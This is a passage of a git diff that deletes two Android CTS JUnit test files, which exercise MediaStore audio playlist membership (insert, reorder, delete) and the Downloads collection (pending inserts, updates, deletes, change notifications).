-import android.provider.cts.MediaStoreAudioTestHelper.Audio4;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio5;
-import android.provider.cts.MediaStoreAudioTestHelper.MockAudioMediaInfo;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_Playlists_MembersTest {
- private String[] mAudioProjection = {
- Members._ID,
- Members.ALBUM,
- Members.ALBUM_ID,
- Members.ALBUM_KEY,
- Members.ARTIST,
- Members.ARTIST_ID,
- Members.ARTIST_KEY,
- Members.COMPOSER,
- Members.DATA,
- Members.DATE_ADDED,
- Members.DATE_MODIFIED,
- Members.DISPLAY_NAME,
- Members.DURATION,
- Members.IS_ALARM,
- Members.IS_MUSIC,
- Members.IS_NOTIFICATION,
- Members.IS_RINGTONE,
- Members.MIME_TYPE,
- Members.SIZE,
- Members.TITLE,
- Members.TITLE_KEY,
- Members.TRACK,
- Members.YEAR,
- };
-
- private String[] mMembersProjection = {
- Members._ID,
- Members.AUDIO_ID,
- Members.PLAYLIST_ID,
- Members.PLAY_ORDER,
- Members.ALBUM,
- Members.ALBUM_ID,
- Members.ALBUM_KEY,
- Members.ARTIST,
- Members.ARTIST_ID,
- Members.ARTIST_KEY,
- Members.COMPOSER,
- Members.DATA,
- Members.DATE_ADDED,
- Members.DATE_MODIFIED,
- Members.DISPLAY_NAME,
- Members.DURATION,
- Members.IS_ALARM,
- Members.IS_MUSIC,
- Members.IS_NOTIFICATION,
- Members.IS_RINGTONE,
- Members.MIME_TYPE,
- Members.SIZE,
- Members.TITLE,
- Members.TITLE_KEY,
- Members.TRACK,
- Members.YEAR,
- };
-
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private long mIdOfAudio1;
- private long mIdOfAudio2;
- private long mIdOfAudio3;
- private long mIdOfAudio4;
- private long mIdOfAudio5;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- private long insertAudioItem(MockAudioMediaInfo which) {
- Uri uri = which.insert(mContentResolver, mVolumeName);
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
- long id = c.getLong(c.getColumnIndex(Media._ID));
- c.close();
- return id;
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
-
- mIdOfAudio1 = insertAudioItem(Audio1.getInstance());
- mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
- mIdOfAudio3 = insertAudioItem(Audio3.getInstance());
- mIdOfAudio4 = insertAudioItem(Audio4.getInstance());
- mIdOfAudio5 = insertAudioItem(Audio5.getInstance());
- }
-
- @After
- public void tearDown() throws Exception {
- final Uri uri = Media.getContentUri(mVolumeName);
- mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio1, null);
- mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio2, null);
- mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio3, null);
- mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio4, null);
- mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio5, null);
- }
-
- @Test
- public void testGetContentUri() {
- assertEquals("content://media/external/audio/playlists/1337/members",
- Members.getContentUri("external", 1337).toString());
- assertEquals("content://media/internal/audio/playlists/3007/members",
- Members.getContentUri("internal", 3007).toString());
- }
-
- private Uri insertPlaylistItem(Uri playlistMembersUri, long itemid, int order) {
- ContentValues values = new ContentValues();
- values.put(Members.AUDIO_ID, itemid);
- values.put(Members.PLAY_ORDER, order);
- return mContentResolver.insert(playlistMembersUri, values);
- }
-
- /**
- * check that the specified playlist contains the given members in the given order
- */
- private void verifyPlaylist(Uri playlistMembersUri, long [] members, int [] ordering) {
- Cursor c = mContentResolver.query(playlistMembersUri,
- new String[] { Members.AUDIO_ID, Members.PLAY_ORDER },
- null, null, // selection, selection args
- Members.PLAY_ORDER);
- assertFalse("neither members nor ordering specified",
- members == null && ordering == null);
- if (members != null) {
- assertEquals("members length doesn't match cursor length",
- members.length, c.getCount());
- if (ordering != null) {
- assertEquals("members and ordering must have same length",
- members.length, ordering.length);
- }
- }
- if (ordering != null) {
- assertEquals("ordering length doesn't match cursor length",
- ordering.length, c.getCount());
- }
- while (c.moveToNext()) {
- int pos = c.getPosition();
- if (members != null) {
- assertEquals("mismatched member at position " + pos,
- members[pos], c.getInt(c.getColumnIndex(Members.AUDIO_ID)));
- }
- if (ordering != null) {
- assertEquals("mismatched ordering at position " + pos,
- ordering[pos], c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
- }
- }
- c.close();
- }
-
- @Test
- public void testStoreAudioPlaylistsMembersExternal() {
- // TODO: expand test to verify paths from secondary storage devices
- if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
-
- ContentValues values = new ContentValues();
- values.put(Playlists.NAME, "My favourites");
- values.put(Playlists.DATA, "");
- long dateAdded = System.currentTimeMillis();
- values.put(Playlists.DATE_ADDED, dateAdded);
- long dateModified = System.currentTimeMillis();
- values.put(Playlists.DATE_MODIFIED, dateModified);
- // insert
- Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
- assertNotNull(uri);
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
- long playlistId = c.getLong(c.getColumnIndex(Playlists._ID));
- long playlist2Id = -1; // used later
-
- // verify that the Uri has the correct format and playlist value
- assertEquals(ContentUris.withAppendedId(Playlists.getContentUri(mVolumeName), playlistId),
- uri);
-
- // insert audio as the member of the playlist
- Uri membersUri = Members.getContentUri(mVolumeName, playlistId);
- Uri audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
-
- assertNotNull(audioUri);
- assertTrue(audioUri.toString().startsWith(membersUri.toString()));
-
- try {
- // query the audio info
- c = mContentResolver.query(audioUri, mAudioProjection, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long memberId = c.getLong(c.getColumnIndex(Members._ID));
- assertEquals(memberId, Long.parseLong(audioUri.getPathSegments().get(5)));
- final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
- .getAsString(Members.DATA);
- assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
- assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
- assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
- assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
- assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
- assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
- assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
- assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
- assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
- assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
- assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
- assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
- assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
- assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
- assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
- assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
- assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
- assertEquals(Audio1.IS_NOTIFICATION,
- c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
- assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
- assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
- assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
- c.close();
-
- // query the play order of the audio
- verifyPlaylist(membersUri, new long [] {mIdOfAudio1}, new int [] {1});
-
- // update the member
- values.clear();
- values.put(Members.PLAY_ORDER, 2);
- values.put(Members.AUDIO_ID, mIdOfAudio2);
- int result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
- + mIdOfAudio1, null);
- assertEquals(1, result);
-
- // query all info
- c = mContentResolver.query(membersUri, mMembersProjection, null, null,
- Members.DEFAULT_SORT_ORDER);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(2, c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
- assertEquals(memberId, c.getLong(c.getColumnIndex(Members._ID)));
- final String expected2 = Audio2.getInstance().getContentValues(mVolumeName)
- .getAsString(Members.DATA);
- assertEquals(expected2, c.getString(c.getColumnIndex(Members.DATA)));
- assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
- assertEquals(Audio2.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
- assertEquals(Audio2.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
- assertEquals(Audio2.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
- assertEquals(Audio2.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
- assertEquals(Audio2.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
- assertEquals(Audio2.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
- assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
- assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
- assertEquals(Audio2.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
- assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
- assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
- assertEquals(Audio2.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
- assertEquals(Audio2.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
- assertEquals(Audio2.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
- assertEquals(Audio2.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
- assertEquals(Audio2.IS_NOTIFICATION,
- c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
- assertEquals(Audio2.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
- assertEquals(Audio2.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
- assertEquals(Audio2.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
- assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
- c.close();
-
- // update the member back to its original state
- values.clear();
- values.put(Members.PLAY_ORDER, 1);
- values.put(Members.AUDIO_ID, mIdOfAudio1);
- result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
- + mIdOfAudio2, null);
- assertEquals(1, result);
-
- // insert another member into the playlist
- Uri audioUri2 = insertPlaylistItem(membersUri, mIdOfAudio2, 2);
- // the playlist should now have id1 at position 1 and id2 at position2, check that
- verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
-
- // swap the items around
- assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
-
- // check the new positions
- verifyPlaylist(membersUri, new long [] {mIdOfAudio2, mIdOfAudio1}, new int [] {1,2});
-
- // swap the items around in the other direction
- assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 0, 1));
-
- // check the positions again
- verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
-
- // insert a third item into the playlist
- Uri audioUri3 = insertPlaylistItem(membersUri, mIdOfAudio3, 3);
- // the playlist should now have id1 at position 1, id2 at position2, and
- // id3 at position3, check that
- verifyPlaylist(membersUri,
- new long [] {mIdOfAudio1, mIdOfAudio2, mIdOfAudio3}, new int [] {1,2,3});
-
- // delete the middle item
- mContentResolver.delete(Media.getContentUri(mVolumeName),
- Media._ID + "=" + mIdOfAudio2, null);
-
- // check the remaining items are still in the right order, and the play_order of the
- // last item has been adjusted
- verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio3}, new int [] {1,2});
-
- // try to swap the remaining two items
- assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
-
- // check that they're swapped
- verifyPlaylist(membersUri, new long [] {mIdOfAudio3, mIdOfAudio1}, new int [] {1,2});
-
- // add 3 items, do some more moving and checking
- mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
- insertPlaylistItem(membersUri, mIdOfAudio2, 3);
- insertPlaylistItem(membersUri, mIdOfAudio4, 4);
- insertPlaylistItem(membersUri, mIdOfAudio5, 5);
- verifyPlaylist(membersUri,
- new long [] {mIdOfAudio3, mIdOfAudio1, mIdOfAudio2, mIdOfAudio4, mIdOfAudio5},
- new int[] {1, 2, 3, 4, 5});
- assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 3));
- verifyPlaylist(membersUri,
- new long [] {mIdOfAudio3, mIdOfAudio2, mIdOfAudio4, mIdOfAudio1, mIdOfAudio5},
- new int[] {1, 2, 3, 4, 5});
- c = mContentResolver.query(membersUri, null, null, null, null);
- c.close();
-
- // create another playlist
- values.clear();
- values.put(Playlists.NAME, "My favourites 2");
- values.put(Playlists.DATA, "");
- values.put(Playlists.DATE_ADDED, dateAdded);
- values.put(Playlists.DATE_MODIFIED, dateModified);
- // insert
- uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
- assertNotNull(uri);
- c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
- playlist2Id = c.getLong(c.getColumnIndex(Playlists._ID));
- c.close();
-
- // insert audio into 2nd playlist
- Uri members2Uri = Members.getContentUri(mVolumeName, playlist2Id);
- Uri audio2Uri = insertPlaylistItem(members2Uri, mIdOfAudio1, 1);
-
- c = mContentResolver.query(membersUri, null, null, null, null);
- int allcolscount = c.getCount();
- c.close();
- c = mContentResolver.query(membersUri,
- new String[] { Members.AUDIO_ID, Members.PLAY_ORDER }, null, null, null);
- int somecolscount = c.getCount();
- c.close();
- assertEquals("Different count depending on columns", allcolscount, somecolscount);
-
- // check that the audio exists in both playlist
- c = mContentResolver.query(membersUri, null, null, null, null);
- assertEquals(5, c.getCount());
- int cnt = 0;
- int colidx = c.getColumnIndex(Members.AUDIO_ID);
- assertTrue(colidx >= 0);
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mIdOfAudio1) {
- cnt++;
- }
- }
- assertEquals(1, cnt);
- c.close();
- c = mContentResolver.query(members2Uri, null, null, null, null);
- assertEquals(1, c.getCount());
- cnt = 0;
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mIdOfAudio1) {
- cnt++;
- }
- }
- assertEquals(1, cnt);
- c.close();
-
- // delete the members
- result = mContentResolver.delete(membersUri, null, null);
- assertEquals(5, result);
- result = mContentResolver.delete(members2Uri, null, null);
- assertEquals(1, result);
-
- // insert again, then verify that deleting the audio entry cleans up its playlist member
- // entry as well
- membersUri = Members.getContentUri(mVolumeName, playlistId);
- audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
- assertNotNull(audioUri);
- // Query members of the playlist
- c = mContentResolver.query(membersUri,
- new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
- colidx = c.getColumnIndex(Members.AUDIO_ID);
- cnt = 0;
- // The song should appear only once, for the playlist we used when inserting it
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mIdOfAudio1) {
- cnt++;
- assertEquals(playlistId, c.getLong(c.getColumnIndex(Members.PLAYLIST_ID)));
- }
- }
- assertEquals(1, cnt);
- c.close();
- mContentResolver.delete(Media.getContentUri(mVolumeName),
- Media._ID + "=" + mIdOfAudio1, null);
- // Query members of the playlist
- c = mContentResolver.query(membersUri,
- new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
- colidx = c.getColumnIndex(Members.AUDIO_ID);
- cnt = 0;
- // The song should no longer appear in the playlist
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mIdOfAudio1) {
- cnt++;
- }
- }
- assertEquals(0, cnt);
- c.close();
-
- } finally {
- // delete the playlists
- mContentResolver.delete(Playlists.getContentUri(mVolumeName),
- Playlists._ID + "=" + playlistId, null);
- if (playlist2Id >= 0) {
- mContentResolver.delete(Playlists.getContentUri(mVolumeName),
- Playlists._ID + "=" + playlist2Id, null);
- }
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
deleted file mode 100644
index 1c45687..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_DownloadsTest.java
+++ /dev/null
@@ -1,371 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.ProviderTestUtils.hash;
-import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.ContentObserver;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.FileUtils;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Downloads;
-import android.provider.MediaStore.Files;
-import android.provider.MediaStore.Images;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.io.PrintWriter;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_DownloadsTest {
- private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
- private static final long NOTIFY_TIMEOUT_MILLIS = 4000;
-
- private Context mContext;
- private ContentResolver mContentResolver;
- private File mDownloadsDir;
- private File mPicturesDir;
- private CountDownLatch mCountDownLatch;
- private int mInitialDownloadsCount;
-
- private Uri mExternalImages;
- private Uri mExternalDownloads;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
-
- mDownloadsDir = new File(MediaStore.getVolumePath(resolveVolumeName(mVolumeName)),
- Environment.DIRECTORY_DOWNLOADS);
- mPicturesDir = new File(MediaStore.getVolumePath(resolveVolumeName(mVolumeName)),
- Environment.DIRECTORY_PICTURES);
- mDownloadsDir.mkdirs();
- mPicturesDir.mkdirs();
- mInitialDownloadsCount = getInitialDownloadsCount();
- }
-
- @Test
- public void testScannedDownload() throws Exception {
- Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
- || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
- final File downloadFile = new File(mDownloadsDir, "colors.txt");
- downloadFile.createNewFile();
- final String fileContents = "RED;GREEN;BLUE";
- try (final PrintWriter pw = new PrintWriter(downloadFile)) {
- pw.print(fileContents);
- }
- verifyScannedDownload(downloadFile);
- }
-
- @Test
- public void testScannedMediaDownload() throws Exception {
- Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
- || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
- final File downloadFile = new File(mDownloadsDir, "scenery.png");
- downloadFile.createNewFile();
- try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
- OutputStream out = new FileOutputStream(downloadFile)) {
- FileUtils.copy(in, out);
- }
- verifyScannedDownload(downloadFile);
- }
-
- @Test
- public void testGetContentUri() throws Exception {
- Cursor c;
- assertNotNull(c = mContentResolver.query(mExternalDownloads,
- null, null, null, null));
- c.close();
- }
-
- @Test
- public void testMediaInDownloadsDir() throws Exception {
- Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
- || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
- final String displayName = "cts" + System.nanoTime();
- final Uri insertUri = insertImage(displayName, "test image",
- new File(mDownloadsDir, displayName + ".jpg"), "image/jpeg", R.raw.scenery);
- final String displayName2 = "cts" + System.nanoTime();
- final Uri insertUri2 = insertImage(displayName2, "test image2",
- new File(mPicturesDir, displayName2 + ".jpg"), "image/jpeg", R.raw.volantis);
-
- try (Cursor cursor = mContentResolver.query(mExternalDownloads,
- null, "title LIKE ?1", new String[] { displayName }, null)) {
- assertEquals(1, cursor.getCount());
- cursor.moveToNext();
- assertEquals("image/jpeg",
- cursor.getString(cursor.getColumnIndex(Images.Media.MIME_TYPE)));
- }
-
- assertEquals(1, mContentResolver.delete(insertUri, null, null));
- try (Cursor cursor = mContentResolver.query(mExternalDownloads,
- null, null, null, null)) {
- assertEquals(mInitialDownloadsCount, cursor.getCount());
- }
- }
-
- @Test
- public void testInsertDownload() throws Exception {
- final String content = "<html><body>Content</body></html>";
- final String displayName = "cts" + System.nanoTime();
- final String mimeType = "text/html";
- final Uri downloadUri = Uri.parse("https://developer.android.com/overview.html");
- final Uri refererUri = Uri.parse("https://www.android.com");
-
- final PendingParams params = new PendingParams(
- mExternalDownloads, displayName, mimeType);
- params.setDownloadUri(downloadUri);
- params.setRefererUri(refererUri);
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- assertNotNull(pendingUri);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (PrintWriter pw = new PrintWriter(session.openOutputStream())) {
- pw.print(content);
- }
- try (OutputStream out = session.openOutputStream()) {
- out.write(content.getBytes(StandardCharsets.UTF_8));
- }
- publishUri = session.publish();
- }
-
- try (Cursor cursor = mContentResolver.query(publishUri, null, null, null, null)) {
- assertEquals(1, cursor.getCount());
-
- cursor.moveToNext();
- assertEquals(mimeType,
- cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
- assertEquals(displayName + ".html",
- cursor.getString(cursor.getColumnIndex(Downloads.DISPLAY_NAME)));
- assertEquals(downloadUri.toString(),
- cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
- assertEquals(refererUri.toString(),
- cursor.getString(cursor.getColumnIndex(Downloads.REFERER_URI)));
- }
-
- final ByteArrayOutputStream actual = new ByteArrayOutputStream();
- try (InputStream in = mContentResolver.openInputStream(publishUri)) {
- final byte[] buf = new byte[512];
- int bytesRead;
- while ((bytesRead = in.read(buf)) != -1) {
- actual.write(buf, 0, bytesRead);
- }
- }
- assertEquals(content, actual.toString(StandardCharsets.UTF_8.name()));
- }
-
- @Test
- public void testUpdateDownload() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalDownloads, displayName, "video/3gpp");
- final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
- params.setDownloadUri(downloadUri);
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- assertNotNull(pendingUri);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- final ContentValues updateValues = new ContentValues();
- updateValues.put(MediaStore.Files.FileColumns.MEDIA_TYPE,
- MediaStore.Files.FileColumns.MEDIA_TYPE_AUDIO);
- updateValues.put(Downloads.MIME_TYPE, "audio/3gpp");
- assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
-
- try (Cursor cursor = mContentResolver.query(publishUri,
- null, null, null, null)) {
- assertEquals(1, cursor.getCount());
- cursor.moveToNext();
- assertEquals("audio/3gpp",
- cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
- assertEquals(downloadUri.toString(),
- cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
- }
- }
-
- @Test
- public void testDeleteDownload() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalDownloads, displayName, "video/3gp");
- final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
- params.setDownloadUri(downloadUri);
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- assertNotNull(pendingUri);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- assertEquals(1, mContentResolver.delete(publishUri, null, null));
- try (Cursor cursor = mContentResolver.query(mExternalDownloads,
- null, null, null, null)) {
- assertEquals(mInitialDownloadsCount, cursor.getCount());
- }
- }
-
- @Test
- public void testNotifyChange() throws Exception {
- final ContentObserver observer = new ContentObserver(null) {
- @Override
- public void onChange(boolean selfChange, Uri uri) {
- super.onChange(selfChange, uri);
- mCountDownLatch.countDown();
- }
- };
- mContentResolver.registerContentObserver(mExternalDownloads, true, observer);
- mContentResolver.registerContentObserver(MediaStore.AUTHORITY_URI, false, observer);
- final Uri volumeUri = MediaStore.AUTHORITY_URI.buildUpon()
- .appendPath(mVolumeName)
- .build();
- mContentResolver.registerContentObserver(volumeUri, false, observer);
-
- mCountDownLatch = new CountDownLatch(1);
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(
- mExternalDownloads, displayName, "video/3gp");
- final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
- params.setDownloadUri(downloadUri);
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- assertNotNull(pendingUri);
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
- OutputStream out = session.openOutputStream()) {
- android.os.FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
- mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-
- mCountDownLatch = new CountDownLatch(1);
- final ContentValues updateValues = new ContentValues();
- updateValues.put(Files.FileColumns.MEDIA_TYPE, Files.FileColumns.MEDIA_TYPE_AUDIO);
- updateValues.put(Downloads.MIME_TYPE, "audio/3gp");
- assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
- mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
-
- mCountDownLatch = new CountDownLatch(1);
- assertEquals(1, mContentResolver.delete(publishUri, null, null));
- mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
- }
-
- private int getInitialDownloadsCount() {
- try (Cursor cursor = mContentResolver.query(mExternalDownloads,
- null, null, null, null)) {
- return cursor.getCount();
- }
- }
-
- private Uri insertImage(String displayName, String description,
- File file, String mimeType, int resourceId) throws Exception {
- file.createNewFile();
- try (InputStream in = mContext.getResources().openRawResource(resourceId);
- OutputStream out = new FileOutputStream(file)) {
- FileUtils.copy(in, out);
- }
-
- final ContentValues values = new ContentValues();
- values.put(Images.Media.DISPLAY_NAME, displayName);
- values.put(Images.Media.TITLE, displayName);
- values.put(Images.Media.DESCRIPTION, description);
- values.put(Images.Media.DATA, file.getAbsolutePath());
- values.put(Images.Media.DATE_ADDED, System.currentTimeMillis() / 1000);
- values.put(Images.Media.DATE_MODIFIED, System.currentTimeMillis() / 1000);
- values.put(Images.Media.MIME_TYPE, mimeType);
-
- final Uri insertUri = mContentResolver.insert(mExternalImages, values);
- assertNotNull(insertUri);
- return insertUri;
- }
-
- private void verifyScannedDownload(File file) throws Exception {
- final Uri mediaStoreUri = ProviderTestUtils.scanFile(file);
